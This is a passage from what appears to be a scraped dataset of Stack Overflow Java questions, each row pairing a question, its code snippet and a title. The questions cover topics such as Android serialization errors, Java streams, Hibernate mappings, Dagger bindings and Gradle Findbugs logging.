tempValue.substring ( 0 , parseNegativeInt ) ; } value = split [ 0 ] + '' . `` +tempValue ; } } return value ;",XPTY0004 : Required item type of first operand of ' > ' is numeric ; supplied value has item type xs : string +Java,"In my app I pass a data object from one Activity to another . The code is quite straightforward , on the first Activity : and on the receiving Activity : The Advertising class is very simple too : And the Anchor class which seems to be causing this problem : I get the following exception only for the Samsung Galaxy S5 ( sm-g900f ) : Caused by : java.lang.IllegalArgumentException : field de.mycompany.model.Advertising.anchor has type de.mycompany.model.resultandexpose.Anchor , got de.mycompany.model.resultandexpose.Anchorand I can not make any sense of this , the expected class is the actual class . This seems to be yet another Samsung-specific problem . Anyone experienced this and knows a fix or has an idea what the cause for this is ? EDIT : Yes , I am using Proguard . The proguard file looks like this : -keepattributes **-keep class ! android.support.v7.internal.view.menu. , { * ; } -dontpreverify-dontoptimize-dontshrink-dontwarn **The second line is a workaround for a known bug on Samsung devices and should n't touch any classes except those in the android.support.v7.internal.view.menu . * package . The serialVersionUID of the Anchor class is unique across all my classes . Switching to Parcelable would mean a massive overhaul of the whole project . Passing objects as Serializable should work on all devices . The Anchor class is just one example of this bug which happens on several other classes that basically look the same or very similar . So it is n't that one class but seems to be a more general problem .","Intent intent = new Intent ( getActivity ( ) , BlablaActivity.class ) ; intent.putExtra ( Values.KEY_ITEM , item ) ; Intent intent = getActivity ( ) .getIntent ( ) ; item = ( Item ) intent.getSerializableExtra ( Values.KEY_ITEM ) ; public class Advertising implements Serializable { private static final long serialVersionUID = -7292860618498106953L ; private Content content ; private Anchor anchor ; private String target ; private String id ; // ... } public class Anchor implements Serializable { private static final long serialVersionUID = 7360857799761417956L ; public String value ; public String label ; // ... }",Exception on serialization on Samsung Galaxy S5 +Java,"So , I am still new to Java 8 and still struggling to correlate the streams API with traditional iteration and collections.So I have a List of object `` UserData '' which has 3 properties , the list is all denormalized data.Sample Input Data would be like The expected output should be something likeSo , i want it to be normalized in a way such that the out come is a Map keyed with currency and the value should be another Map keyed with primary Acc and value with List of sub Accounts.I was thinking of doing this oldschool way basicallySort the data based on currency.Iterate the list and put the data in Map ( since the data is sortedand till i get the duplicate keys will start putting thecorresponding data ( primary account in a new Map ) Repeat the above process basically at primary account level and start putting the duplicate key corresponding value data ( sub accounts in a list object ) As for my thought process i have to create 2 list copies ( 1 sort at Currency for first iteration ) , 2 nd sort at Primary account for nested map . It seems little inefficient , then i looked at the streams but could not visualize how i can use them but any guidance or thoughts would be appreciated .","public class UserData { private String primaryAccountNumber ; private String subAccountNumber ; private String currency ; } PrimaryAccNumber SubAccNumber CurrencyPA00 US00 USDPA01 US01 USDPA01 US02 USDPA02 EU00 EURPA03 EU01 EURPA04 CA00 CADPA04 CA01 CADnull IN00 INRnull IN01 INR USD - > PA00 - > [ US00 ] PA01 - > [ US01 , US02 ] EUR - > PA02 - > [ EU00 ] - > PA03 - > [ EU01 ] CAD - > PA04 - > [ CA00 , CA01 ] INR - > null ( or dummykey ) - > [ IN00 , IN01 ] Map < String , Map < String , List < String > > > normalizedData = //logic",Structuring List data using Java 8 and normalizing it into a map structure +Java,I 'm trying to get prepared for the OCA Java certification and got stuck in some questions dealing assignment in if conditions . Can anyone explain me the reason of the different behaviours in the code below ? By my point of view I 'm just putting the same two boolean values in an `` inclusive or '' condition 6 times ...,package pck ; class SuperMain { boolean b ; public static void main ( String args [ ] ) { new SuperMain ( ) ; } SuperMain ( ) { if ( _true ( ) |_false ( ) ) System.out.println ( b ) ; //1 - prints false if ( b=true|_false ( ) ) System.out.println ( b ) ; //2 - prints true if ( _true ( ) | ( b=false ) ) System.out.println ( b ) ; //3 - prints false if ( ( b=true ) |_false ( ) ) System.out.println ( b ) ; //4 - prints false if ( b=true| ( b=false ) ) System.out.println ( b ) ; //5 - prints true if ( ( b=true ) | ( b=false ) ) System.out.println ( b ) ; //6 - prints false } boolean _true ( ) { return b=true ; } boolean _false ( ) { return b=false ; } },Tricky Java : boolean assignment in if condition +Java,"I am working on a java-oracle based project where I stuck with an problem which seems to me requires an analytic solution.I am looking for solution either based on SQL query or any algorithm or any free analytic tool which I can follow to get desired results.Problem statement : Lets us say I have below table with columnA-D and last column as Score , I want to find an criteria on values for each of the columns which when combined in SQL where clause will always give me positive value for Score column . So basically what combination of columnA-D will always give me positive score ? Expected result for above data set : -Visual interpretation of above data set gives me condition : “ ColumnA =0 and columnB > 10 and columnC < 5 will ensure score always > 0 ” . ( visually its clear columnD does not have an effect ) .Please note above data set is for sake of simplicity . In reality , my project contains around 40 columns with almost 2500 rows . One thing is for sure each of columns have finite range of values.Following information copied from OPs answer belowHere is an algorithm I started with ( need inputs to refine it further if someone thinks I am in right direction ) : Preparation : Create an list of all possible expressions like A=0 , B > 10 , C < 5 ( for 40 columns , I finalized total approx 150 expressions ) Let us call it `` expressions '' variable.Alogrithm for 1st run : set totalPositiveRows= select count ( * ) from my tables where score > 0 ; set totalNegativeRows= select count ( * ) from my tables where score < 0 ; For each expr in expressions , calculate following three variables set positivePercentage= find percentage of totalPositiveRows which satisfy this expr ; //like if 60 rows out of total 100 rows having score > 0 satisfy expr , then positivePercentage=60 % Set initialexpr=Choose expr having maximum value of diffPercentageset initalPositivePercentage=choose corresponding positivePercentage value ; set initalNegativePercentage=choose corresponding negativePercentage value ; My thinking is that I need to now keep expanding initalexpr until initalNegativePercentage becomes 0.Alogrithm for subsequent runs until initalNegativePercentage becomes 0 : -For each expr in expressions , calculate following three variablesset newexpr=initialexpr+ '' and `` +expr ; set positivePercentage= find percentage of totalPositiveRows which satisfy newexpr ; set negativePercentage= find percentage of totalNegativeRows which satisfy newexpr ; //calculate how much negative percentage it has reduced ? set positiveReduction=initalPositivePercentage-positivePercentage ; set negativeReduction=initalNegativePercentage-negativePercentage ; if ( negativeReduction > =positiveReduction ) //note it downelse//discard itChoose the expr which gives maxium negative reduction , that becomes new inital expr.Set initialexpr=Choose expr having maximum value of negativeReductionset initalPositivePercentage=choose corresponding value ; set initalNegativePercentage=choose corresponding value ; Repeat the algorithm above . Please comment .","columnA|columnB|columnC|columnD|Score 1 40 10 3 -20 0 40 2 3 10 0 10 3 3 20 1 15 3 3 -5 0 10 2 2 -15 0 15 6 3 -10 set negativePercentage= find percentage of totalNegativeRows which satisfy this expr ; //like if 40 rows out of total 100 rows having score < 0 satisfy expr , then negativePercentage=40 % set diffPercentage=positivePercentage-negativePercentage ;",Algorithm or SQL : to find where conditions for a set of columns which ensures result set has value in a particular column always > 0 +Java,"In a bidirectional mapping between entities ( e.g . @ ManyToOne ↔ @ OneToMany ) , the counterpart needs to be synchronized on every change , especially when using a 2nd level cache . This is usually done with helper methods . Those helper methods do not perform well if the Many part contains a lot of entries , because the whole set is fetched each time . A simple example would be an entity Store which has n Products , whereas n is very large . Adding a new Product to the Store would require the Store to fetch the whole list of Products to finally add it to the set ( see code example below ) .One could argue , that when modelling such a relation it would be better represented with an unidirectional association from the Product to the Store . We are using many JPQL queries in our application though . In JPQL , it comes very handy to join entities from both sides.Do you see any problems when mapping the @ OneToMany relation in the Store entity , when Many actually means many and not just a few , and just make the field private , without getters and setters , provided that the whole relation is lazily fetched ? As I understand , Hibernate just needs the field to map the relation . And if the set is private , no performance issues should occur ? The Product entity : The Store entity :","@ Entity @ Table ( name = `` product '' ) @ Cache ( usage = CacheConcurrencyStrategy.NONSTRICT_READ_WRITE ) public class Product { @ ManyToOne ( fetch = FetchType.LAZY ) private Store store ; // setter , getter , helper methods } @ Entity @ Table ( name = `` store '' ) @ Cache ( usage = CacheConcurrencyStrategy.NONSTRICT_READ_WRITE ) public class Store { @ OneToMany ( mappedBy = `` products '' , fetch = FetchType.LAZY ) @ Cache ( usage = CacheConcurrencyStrategy.NONSTRICT_READ_WRITE ) private Set < Product > products ; // setter , getter , helper methods }",Spring/Hibernate : Bidirectional Mapping without synchronization for JPQL queries only +Java,"We have been dealing with the issue for the last couple of years . I was waiting for Gradle 3.0 to be released to see if it would be fixed but unfortunately it has not . The issue is that if you use parallel builds in Gradle , for example using these command-line flags : Then Gradle is very verbose in its debugging . Our project is fairly large and Findbugs is adding over 10,000 lines of log messages . Some look like this : and then others look like this : The Findbugs configuration in build.gradle is simple : There was a discussion of this on the Gradle forums a few years ago . See https : //discuss.gradle.org/t/add-an-option-to-pass-quiet-to-findbugs-plugin/554 . There were other people seeing the same issue but none of the workarounds seem to help . Everyone agrees it has to do with parallel builds and I agree since I do not see this in any of my non-parallel projects.Has anyone else run across this and found a solution ?",-- parallel -- max-workers=20 [ : app : findbugsMain ] Scanning archives ( 0 / 207 ) [ : app : findbugsMain ] Scanning archives ( 1 / 207 ) [ : app : findbugsMain ] Scanning archives ( 2 / 207 ) [ : app : findbugsMain ] Scanning archives ( 3 / 207 ) [ : app : findbugsMain ] Scanning archives ( 4 / 207 ) [ : app : findbugsMain ] Scanning archives ( 5 / 207 ) [ : app : findbugsMain ] Scanning archives ( 6 / 207 ) [ : app : findbugsMain ] Scanning archives ( 7 / 207 ) [ : app : findbugsMain ] Scanning archives ( 8 / 207 ) [ : app : findbugsMain ] Scanning archives ( 9 / 207 ) [ : app : findbugsMain ] Pass 1 : Analyzing classes ( 446 / 662 ) - 67 % complete [ : app : findbugsMain ] Pass 1 : Analyzing classes ( 447 / 662 ) - 67 % complete [ : app : findbugsMain ] Pass 1 : Analyzing classes ( 448 / 662 ) - 67 % complete [ : app : findbugsMain ] Pass 1 : Analyzing classes ( 449 / 662 ) - 67 % complete [ : app : findbugsMain ] Pass 1 : Analyzing classes ( 450 / 662 ) - 67 % complete [ : app : findbugsMain ] Pass 1 : Analyzing classes ( 451 / 662 ) - 68 % complete [ : app : findbugsMain ] Pass 1 : Analyzing classes ( 452 / 662 ) - 68 % complete [ : app : findbugsMain ] Pass 1 : Analyzing classes ( 453 / 662 ) - 68 % complete [ : app : findbugsMain ] Pass 1 : Analyzing classes ( 454 / 662 ) - 68 % complete [ : app : findbugsMain ] Pass 1 : Analyzing classes ( 455 / 662 ) - 68 % complete // findbugs plugin settingsfindbugs { sourceSets = [ sourceSets.main ] ignoreFailures = true effort = 'max ' excludeFilter = rootProject.file ( `` config/findbugs/findbugs-exclude.xml '' ) },Findbugs logs too much in a parallel Gradle build +Java,"I was wondering if there was a way to get the entire html code between two tags of an element , along with the element tag then store it in a string.Lets say I use the following to create a list of web elements , then fill the list with all the web elements.If I use the following to get the 3rd web element , it prints only the tags name , as it should : so it prints the paragraph element `` p '' or `` input '' for example if it is the 3rd web element storedBut I was wondering if its possible to get the entire html code line for the web element and print it rather then only the tag name `` p '' for example ? e.g.Is there some way to accomplish this ?",List < WebElement > element = driver.findElements ( By.xpath ( `` //* '' ) ) ; //Some for loop after this to access each value System.out.println ( element.get ( 3 ) .getTagName ( ) ) ; < p > some text < /p >,Java selenium grabbing entire html contents of the element +Java,"In the following code , if i use sysout statement inside for loop then the code executes and goes inside the loop after the condition met but if i do not use sysout statement inside loop then then infinite loop goes on without entering inside the if condition even if the if condition is satisfied.. can anyone please help me to find out the exact reason for this . Just A sysout statement make the if condition to become true . why is it so ? The code is as follows : -Output without sysout statement in the infinite loop : -Output with sysout statement in the infinite loop : -","class RunnableDemo implements Runnable { private Thread t ; private String threadName ; RunnableDemo ( String name ) { threadName = name ; System.out.println ( `` Creating `` + threadName ) ; } public void run ( ) { System.out.println ( `` Running `` + threadName ) ; for ( ; ; ) { //Output 1 : without this sysout statement . //Output 2 : After uncommenting this sysout statement //System.out.println ( Thread.currentThread ( ) .isInterrupted ( ) ) ; if ( TestThread.i > 3 ) { try { for ( int j = 4 ; j > 0 ; j -- ) { System.out.println ( `` Thread : `` + threadName + `` , `` + j ) ; } } catch ( Exception e ) { System.out.println ( `` Thread `` + threadName + `` interrupted . `` ) ; } System.out.println ( `` Thread `` + threadName + `` exiting . `` ) ; } } } public void start ( ) { System.out.println ( `` Starting `` + threadName ) ; if ( t == null ) { t = new Thread ( this , threadName ) ; t.start ( ) ; } } } public class TestThread { static int i=0 ; public static void main ( String args [ ] ) { RunnableDemo R1 = new RunnableDemo ( `` Thread-1 '' ) ; R1.start ( ) ; try { Thread.sleep ( 10000 ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } i+=4 ; System.out.println ( i ) ; } }",Delay in running thread due to system.out.println statement +Java,"Here is the issue , I am working on a LibGDX project where i have different modules for different platforms.This is how my android module looks like : .. and here how my desktop module looks like : well rest is pretty much the same . Yet while i 'm building the project for Desktop everything goes nice and dandy where on Android side , i get this error which leaves me flabbergasted still.now a quick glimpse at dagger source code and i can see that qualifier annotations are gathered by reflection and getting used as prefixes for binding names which will be later used as keys in UniqueMap . My problem seem to occur somewhere around this area where my qualifier does not get processed somehow , yet my desktop build works without a problem ... Here are some more additional : is how i get my DummyProject object , which has a field injection of DummyConsumer . As such : I have changed the return types to concrete classes as a workaround but nobody likes a workaround cause we all know that they haunt you till the end .","@ Module ( includes = { BaseModule.class , NetModule.class } , injects = { DummyProjectActivity.class , DummyProject.class } , overrides = true ) public class DummyProjectAndroidModule { ... @ Provides @ Singleton @ Named ( `` DummyOne '' ) DummyInterface provideDummyOne ( ) { return new DummyOne ( ) ; } @ Provides @ Singleton @ Named ( `` DummyTwo '' ) DummyInterface provideDummyTwo ( ) { return new DummyTwo ( ) ; } @ Provides @ Singleton @ Named ( `` DummyConsumer '' ) DummyConsumer provideDummyConsumer ( @ Named ( `` DummyOne '' ) DummyInterface dummyOne , @ Named ( `` DummyTwo '' ) DummyInterface dummyTwo ) { return new DummyConsumer ( dummyOne , dummyTwo ) ; } } @ Module ( includes = { BaseModule.class , NetModule.class } , injects = { DummyProjectDesktop.class , DummyProject.class } , overrides = true ) public class DummyProjectDesktopModule { Process : net.alicanhasirci.mobile.DummyProject.android , PID : 4603 java.lang.RuntimeException : Unable to start activity ComponentInfo { net.alicanhasirci.mobile.DummyProject.android/net.alicanhasirci.mobile.DummyProject.android.DummyProjectActivity } : java.lang.IllegalArgumentException : Duplicate : net.alicanhasirci.mobile.android.image.DummyInterface net.alicanhasirci.mobile.DummyProject.android.DummyProjectAndroidModule.provideDummyOne ( ) net.alicanhasirci.mobile.android.image.DummyInterface net.alicanhasirci.mobile.DummyProject.android.DummyProjectAndroidModule.provideDummyTwo ( ) at android.app.ActivityThread.performLaunchActivity ( ActivityThread.java:2305 ) at android.app.ActivityThread.handleLaunchActivity ( ActivityThread.java:2365 ) at android.app.ActivityThread.access $ 800 ( ActivityThread.java:148 ) at android.app.ActivityThread $ H.handleMessage ( ActivityThread.java:1283 ) at android.os.Handler.dispatchMessage ( Handler.java:102 ) at android.os.Looper.loop ( Looper.java:135 ) at android.app.ActivityThread.main ( ActivityThread.java:5272 ) at java.lang.reflect.Method.invoke ( Native Method ) at java.lang.reflect.Method.invoke ( Method.java:372 ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:909 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:704 ) Caused by : java.lang.IllegalArgumentException : Duplicate : net.alicanhasirci.mobile.android.image.DummyInterface net.alicanhasirci.mobile.DummyProject.android.DummyProjectAndroidModule.provideDummyOne ( ) net.alicanhasirci.mobile.android.image.DummyInterface net.alicanhasirci.mobile.DummyProject.android.DummyProjectAndroidModule.provideDummyTwo ( ) at dagger.internal.UniqueMap.put ( UniqueMap.java:29 ) at dagger.internal.plugins.reflect.ReflectiveModuleAdapter.handleBindings ( ReflectiveModuleAdapter.java:104 ) at dagger.internal.plugins.reflect.ReflectiveModuleAdapter.getBindings ( ReflectiveModuleAdapter.java:89 ) at dagger.ObjectGraph $ DaggerObjectGraph.makeGraph ( ObjectGraph.java:174 ) at dagger.ObjectGraph $ DaggerObjectGraph.access $ 000 ( ObjectGraph.java:132 ) at dagger.ObjectGraph.create ( ObjectGraph.java:129 ) at net.alicanhasirci.mobile.DummyProject.android.DummyProjectActivity.onCreate ( DummyProjectActivity.java:137 ) at android.app.Activity.performCreate ( Activity.java:5977 ) at android.app.Instrumentation.callActivityOnCreate ( Instrumentation.java:1105 ) at android.app.ActivityThread.performLaunchActivity ( ActivityThread.java:2258 ) ObjectGraph objectGraph = ObjectGraph.create ( new DummyProjectAndroidModule ( ) ) ; objectGraph.inject ( this ) ; dp = objectGraph.get ( DummyProject.class ) ; @ Inject @ Named ( `` DummyConsumer '' ) DummyConsumer consumer ;",@ Named providers with same return types end up giving java.lang.IllegalArgumentException : Duplicate +Java,"( Actually , this question is not directly related to lambdas , but to casts using bounds , so the question marked as duplicate does not provide an answer to this question . You 'll find the answer to my question here : How should I cast for Java generic with multiple bounds ? ) Just recently , I took part in a SW craftsmanship meeting . In one of the discussed examples , I encountered kind of this cast , it seems to be valid Java since Java 8.My question : Can anybody tell me the idiom behind this and what it exactly can do for us ? The presenter of the example could n't explain it and I did n't find any mention ( I do n't even know a name for it ) .I have to put another answer here , in addition to Oleksandr 's , because this question was already marked as duplicate and thus is locked.Meanwhile I was able to construct a ( contrived ) use case , just to make the idea clear.Assume we have the generic method foo ( ) , which is generic on its only parameter , and the type parameter has two upper bounds ( against Comparable and Serializable ) : Further assume , we have a class AClass , which implements Comparable and SerializableFurther assume the contrived part , where we have an AClass object instance , which is assigned to a variable of type Object : If , in another place of the code , we want to pass instance to foo ( ) , and we do n't know the dynamic type of instance ( which is AClass ) , we can use a special cast syntax to place a `` contact lens '' on instance to make the call work : Actually , the specialty is not in the cast syntax , but on how the type is specified . This type specification declares a so-called intersection type .","Object aTest = ( String & CharSequence ) `` test '' ; public static < T extends Comparable & Serializable > void foo ( T t ) { System.out.println ( t ) ; } public class AClass implements Comparable , Serializable { @ Override public int compareTo ( Object other ) { return 0 ; } } Object instance = new AClass ( ) ; foo ( ( Comparable & Serializable ) instance ) ;",Strange Java cast syntax using & +Java,"For a class whose fields are solely primitive , ex . : Is this a reasonably `` good enough '' way to write hashCode ( ) ? That is , I construct a String out of the same fields that equals ( ) uses , and then just use String # hashCode ( ) .Edit : I 've updated my question to include a long field . How should a long be handled in hashCode ( ) ? Just let it overflow int ?",class Foo { int a ; String b ; boolean c ; long d ; boolean equals ( Object o ) { if ( this == o ) return true ; if ( ! ( o instanceof Foo ) ) return false ; Foo other = ( Foo ) o ; return a == other.a & & b.equals ( other.b ) & & c == other.c & & d = other.d ; } } boolean hashCode ( ) { return ( b + a + c + d ) .hashCode ( ) ; },Overriding hashCode ( ) - is this good enough ? +Java,I have a List < String > in java and it contains some Strings.I also have a hashmap with String values and I would like to check if there 's any element in my List that is not in the Hashmap . This is the code I wrote : But it does not work properly . Can you help me with that ?,List < String > someStrings = fetchData ( ) ; if ( someStrings.stream ( ) .noneMatch ( s - > myHashMap.containsValue ( s ) ) ) { return false ; } return true ;,How can I check if there 's element in my arraylist that is not in the hashmap ? +Java,"I 've found some interesting behavior ... I ca n't decide if it 's a bug or incompetence , but currently leaning towards incompetence.This code will not enter the loop , even if there are messages waiting : This code DOES enter the loop , notice the null assignment : This code is running on Glassfish 3.1.1b10 HotSpot 1.6_26 on Windows 32bit . I ca n't think of an explanation why the first block does n't work ! EDIT/UPDATE July 13 , 2011 : First , I began stopping the Glassfish domain and deleting it between deploys per request , and this still occurs : ) Second , I can not sync on Destination or Consumer , as this is Java EE code . But , I can assure there are messages available . There 's about 500 of them available an no consumers . In fact , creating a QueueBrowser tells me there 's messages available ! Third , this program prints `` WORKS ! '' every time ! ! ! ARGH ! ! ! Lastly , I was speaking about my own incompetence . ; )",Message msg ; while ( ( msg = consumer.receiveNoWait ( ) ) ! = null ) { System.out.println ( msg ) ; } Message msg = null ; while ( ( msg = consumer.receiveNoWait ( ) ) ! = null ) { System.out.println ( msg ) ; } public static void main ( String [ ] args ) { Object obj ; if ( ( obj = getNotNull ( ) ) ! = null ) { System.out.println ( `` worked ! `` ) ; } else { System.out.println ( `` failed ! `` ) ; } } static Object getNotNull ( ) { return new Object ( ) ; },Unusual Java behavior - why does this work ? +Java,"The following snippet uses simple Java code.The above code works as expected with no problem and displays Value = null on the console.In the following return statement , since the object demo of type Demo is not null , the expression after : which is demo.getValue ( ) is executed which invokes getValue ( ) within the inner Demo class which returns null and finally , it is converted to String and displayed on the console.But when I modify the operations ( ) method something like the one shown below , it throws NullPointerException . How ? I mean when I use this return statement it works ( does n't throw NullPointerException ) and when I use the following something similar return statementit causes NullPointerException . Why ?",package pkg ; final public class Main { final private class Demo { private Integer value = null ; public Integer getValue ( ) { return value ; } } private Integer operations ( ) { Demo demo = new Demo ( ) ; return demo==null ? new Integer ( 1 ) : demo.getValue ( ) ; } public static void main ( String [ ] args ) { Main main=new Main ( ) ; System.out.println ( `` Value = `` + String.valueOf ( main.operations ( ) ) ) ; } } return demo==null ? new Integer ( 1 ) : demo.getValue ( ) ; private Integer operations ( ) { Demo demo = new Demo ( ) ; return demo==null ? 1 : demo.getValue ( ) ; } return demo==null ? new Integer ( 1 ) : demo.getValue ( ) ; return demo==null ? 1 : demo.getValue ( ) ;,Unknown NullPointerException in Java +Java,"Alright StackOverflow , I 'm coming to you in a time of need . I 've inherited a project with a custom tag library . The project is in AEM , but the problem is more of an issue with the straight Java side of things and is nothing specific to AEM that I am aware of . AEM is built on OSGI , so that could be related , but again it 's sort of unlikely to be part of the answer.Essentially , I 'm getting an exception on only one of two servers . It says : org.apache.sling.api.scripting.ScriptEvaluationException : org.apache.sling.scripting.jsp.jasper.JasperException : File `` /META-INF/tags/helloWorld.tagx '' not foundNow - this helloWorld.tagx is sort of garbage left in from a template project , but for some reason it 's essential . There 's a few issues here.The tag is in the right location ( META-INF/tags/helloWorld.tagx ) and I 'm using the jsptld-maven-plugin to generate the tld file which looks correct to me . The configuration for the plugin ( as well as the maven-bundle-plugin ) : And the segment from the resulting tld file : So it looks fine to me , and I 've done a lot of searching and found people with syntax errors , etc . but I do n't believe that to be the case here , especially since it works on one server.The weird part is the tag is n't actually used anywhere , but removing it does n't solve the issue . The jsp throwing this error uses other tags , but not this one . There is literally no references to this tag in the entire project - I 'm thinking it might be hiding another issue . The error says that it 's on line 6 of the JSP , but neither the source JSP or the compiled JSP have anything interesting on line 6 , or in the file at all . Again , even compiled JSPs have no reference to this tag ! I 'm happy to provide other information . My knowledge of this is pretty poor , so I 'm not exactly sure what information is relevant . Any help or troubleshooting tips is greatly appreciated ! Full stack trace here","< plugin > < groupId > com.squeakysand.jsp < /groupId > < artifactId > jsptld-maven-plugin < /artifactId > < configuration > < shortName > myproject < /shortName > < processTagFiles > true < /processTagFiles > < /configuration > < executions > < execution > < goals > < goal > generate < /goal > < /goals > < /execution > < /executions > < /plugin > < plugin > < groupId > org.apache.felix < /groupId > < artifactId > maven-bundle-plugin < /artifactId > < extensions > true < /extensions > < configuration > < instructions > < Bundle-Activator > com.rebny.taglib.osgi.Activator < /Bundle-Activator > < Include-Resource > META-INF/ $ { project.artifactId } - $ { project.version } .tld= $ { project.build.outputDirectory } /META-INF/ $ { project.artifactId } - $ { project.version } .tld , { maven-resources } < /Include-Resource > < Sling-Bundle-Resources > /META-INF/tags < /Sling-Bundle-Resources > < /instructions > < /configuration > < /plugin > < tag-file > < name > helloWorld < /name > < path > /META-INF/tags/helloWorld.tagx < /path > < /tag-file >",JasperException - File Not Found even when tag is present +Java,"So for a college lab for Java Fundamentals I 'm having trouble . I have to set up a switch and inside that switch a case . There are 3 options for user input , and each option can be answered with letter . The problem is that this letter is allowed to be capital OR lower case , and the problem is I cant seem to figure out how to set it up so a case will allow either of those . In the code below..crustType is defined as a char . Keep in mind this is Java Fundamentals and we 're just learning about switches , unfortunately our PPT for this does n't explain what to do in this situation.However I keep getting an error with || ...",switch ( crustType ) { case ( crustType == ' H ' || crustType == ' h ' ) : crust = `` Hand-tossed '' ; System.out.println ( `` You have selected 'Hand-Tossed ' crust for your pizza . `` ) ; break ; case ( crustType == 'T ' || crustType == 't ' ) : crust = `` Thin-crust '' ; System.out.println ( `` You have selected 'Thin-Crust ' crust for your pizza . `` ) ; break ; case ( crustType == 'D ' || crustType == 'd ' ) : crust = `` Deep-dish '' ; System.out.println ( `` You have selected 'Deep-Dish ' crust for your pizza . `` ) ; break ; default : crust = `` Hand-tossed '' ; System.out.println ( `` You have not selected a possible choice so a Hand-tossed crust was selected . `` ) ; } 97 : error : incompatible types case ( crustType == ' H ' || crustType == ' h ' ) : ^ required : char found : boolean 102 : error : incompatible types,Using || in Cases in a Switch ? +Java,"Possible Duplicate : Varying behavior for possible loss of precision I found an inconsistence in Java strong typing check at compile time.Please look at the following code : Can anyone explain it to me ? Is it a known bug , or desired behavior ? C++ gives a warning , C # gives a compile error.Does Java breaks strong typing ? You can replace += with -= or *= - everything is acceptable by a compiler .","int sum = 0 ; sum = 1 ; //is is OKsum = 0.56786 ; //compile error because of precision loss , and strong typingsum = sum + 2 ; //it is OKsum += 2 ; //it is OKsum = sum + 0.56787 ; //compile error again because of automatic conversion into double , and possible precision losssum += 0.56787 ; //this line is does the same thing as the previous line , but it does not give us a compile error , and javac does not complain about precision loss etc .",Java breaks strong typing ! Who can explain it ? +Java,"In Scala we can have parameterless methods , which can be very useful for DSL purposes ; they are also used for auto-defining getters for class fields.I am developing a Java library that I would like to integrate as seamlessly with Scala as possible . I was wondering if there is a way to annotate a Java method with an empty parameter list so that Scala recognize it as parameterless.For instanceso that in Scala I can do : without having the compiler to complain about bar ( ) having an empty argument list ? Alternatively , is there a way to define Scala-style getters and setter from Java ? Note : of course I know that in this particular example I can workaround the problem by defining",class Foo { @ ParameterLess public String [ ] bar ( ) { return someArray ; } } val f = new Foof bar ( 0 ) public String bar ( int i ) { return someArray [ i ] ; },Can you declare parameter-less methods in Java for use in Scala ? +Java,"I am writing a simple top down space game , and am extending it to allow play over a network with multiple players . I 've done a fair bit of reading , but this is the first time I 've done this and I 'd appreciate some advice on choosing a sensible design.My GUI is written using Swing . 30 times a second , a timer fires , and repaints my GUI according to data in a gameWorld object in memory ( essentially a list of ships & projectiles with positions , etc ) . Physics updates of the gameWorld are also carried out using this timer . Thus , for the single player implementation , everything happens on the EDT , and this works fine.Now , I have separate thread dealing with incoming packets from other players . I would like to update the data in my gameWorld object based on what these packets contain . My question is , should I use invokeLater to make these changes , or should I use locks to avoid concurrency problems ? To illustrate what I mean : vsThe latter would also require using similar synchronize blocks wherever the EDT accesses the gameWorld , so it seems to me that using invokeLater would be simpler to implement . But am I right in thinking both approaches would work ? Are there any other significant pros/cons to bear in mind ? Thanks , Jeremy",runMethodOfInputThread ( ) { while ( takingInput ) { data = receiveAndInterpretIncomingPacket ( ) ; // blocks SwingUtilities.invokeLater ( new Runnable ( ) { public void run ( ) { gameWorld.updateWithNewGameInfo ( data ) ; } } ) ; } } runMethodOfInputThread ( ) { while ( takingInput ) { data = receiveAndInterpretIncomingPacket ( ) ; // blocks synchronize ( gameWorldLock ) { gameWorld.updateWithNewGameInfo ( data ) ; } } },Multithreading in a networked swing game : using invokeLater vs locks +Java,I 'm migrating a project from JAVA 8 to JAVA 9 and I 'm having some trouble getting the code to work . All work in JAVA 8 but in 9 I 'm having the following errors : here is the code when I 'm calling the method : and here is the implementation : code for Procedure interface : Any ideas ? Reproducible Code : :Resulting in the following error with java9 compiler : :,"Error java : reference to ok is ambiguous both method < T > ok ( java.util.function.Supplier < T > ) and method ok ( web.Procedure ) match public ResponseEntity < List < MailTemplateDto > > mailTemplateFindAll ( ) { return ok ( ( ) - > mailTemplateService.findAll ( ) ) ; } public < T > ResponseEntity < T > ok ( Supplier < T > action ) { return this.body ( HttpStatus.OK , action ) ; } public < T > ResponseEntity < T > ok ( T body ) { return this.ok ( ( ) - > { return body ; } ) ; } public ResponseEntity < Void > ok ( Procedure action ) { action.invoke ( ) ; return this.status ( HttpStatus.OK ) ; } public ResponseEntity < Void > ok ( ) { return this.status ( HttpStatus.OK ) ; } @ FunctionalInterfacepublic interface Procedure { void invoke ( ) ; } public class Q48227496 { public A < ? > test ( ) { return ok ( ( ) - > System.out.append ( `` aaa '' ) ) ; } private class A < T > { } private < T > A < T > ok ( java.util.function.Supplier < T > action ) { return new A < > ( ) ; } public < T > A < T > ok ( T body ) { return new A < > ( ) ; } private < T > A < T > ok ( Procedure action ) { return new A < > ( ) ; } public < T > A < T > ok ( ) { return new A < > ( ) ; } @ FunctionalInterface public interface Procedure { void invoke ( ) ; } } error : reference to ok is ambiguous return ok ( ( ) - > System.out.append ( `` aaa '' ) ) ; ^ both method < T # 1 > ok ( Supplier < T # 1 > ) in Q48227496 and method < T # 2 > ok ( Procedure ) in Q48227496 match where T # 1 , T # 2 are type-variables : T # 1 extends Object declared in method < T # 1 > ok ( Supplier < T # 1 > ) T # 2 extends Object declared in method < T # 2 > ok ( Procedure )",reference to method is ambiguous when migrating from java8 to java9 +Java,"I read in a C # introductory book that you should n't catch an exception if you do n't know what to do with it . Thinking of that bit of advice while programming in Java , I sometimes find I do not know what to do with an exception , but I am forced to catch it or `` percolate it up '' to avoid a compile error . I 'd rather not clutter methods with throws clauses all the way up the call tree so I have often resorted to `` converting '' the exception to a RuntimeException as in the following . Adding throws clauses to many methods for an exception that is n't really `` handled '' ( properly dealt with ) seems verbose and distracting . Is the following bad style and if so what is a better way to deal with this ? Edit : Aside from the clutter , there 's another problem with the percolating exceptions : after code revisions you probably end up with some unnecessary throws clauses . The only way I know to clean them out is by trial and error : remove them and see if the compiler complains . Obviously , this is annoying if you like to keep the code clean .","try { thread.join ( ) ; } catch ( InterruptedException e ) { Console.printwriter.format ( `` % s\n '' , e.printStackTrace ( ) ) ; throw new RuntimeException ( ) ; }",dealing with catastrophic exceptions +Java,"Unless I call Connection.commit ( ) , the DB cursor remains open after a query . I believe this behavior is causing my application to leak cursors and experience DB errors related to cursor usage . It seems like the commit ( ) call should be unnecessary ... Is this behavior expected ? Is there any way to configure the 